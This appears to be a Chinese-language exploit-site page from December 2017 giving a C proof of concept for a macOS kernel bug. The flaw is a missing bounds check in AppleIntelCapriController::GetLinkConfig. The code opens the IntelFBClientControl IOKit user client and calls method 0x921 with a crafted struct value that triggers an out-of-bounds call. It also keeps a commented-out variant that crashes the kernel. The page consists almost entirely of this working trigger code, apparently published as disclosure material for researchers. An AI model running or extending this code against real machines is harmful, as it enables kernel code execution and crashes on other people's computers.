当前位置:首页 > POC 2017年12月18日
MacOs#由于AppleIntelCapriController :: GetLinkCo缺少边界检查而导致内核代码执行

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
  
#include <IOKit/IOKitLib.h>
  
int main(int argc, char** argv){
  kern_return_t err;
  
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
  
  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }
  
  uint64_t inputScalar[16]; 
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096];
  size_t inputStructCnt = 8;
  //*(uint64_t*)inputStruct = 0x12345678; // crash
  *(uint64_t*)inputStruct = 0x37; // oob call
  
  
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096];
  size_t outputStructCnt = 4096;
    
  err = IOConnectCallMethod(
    conn,
    0x921,  // GetLinkConfig
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt);
  
  return 0;
}



发表评论: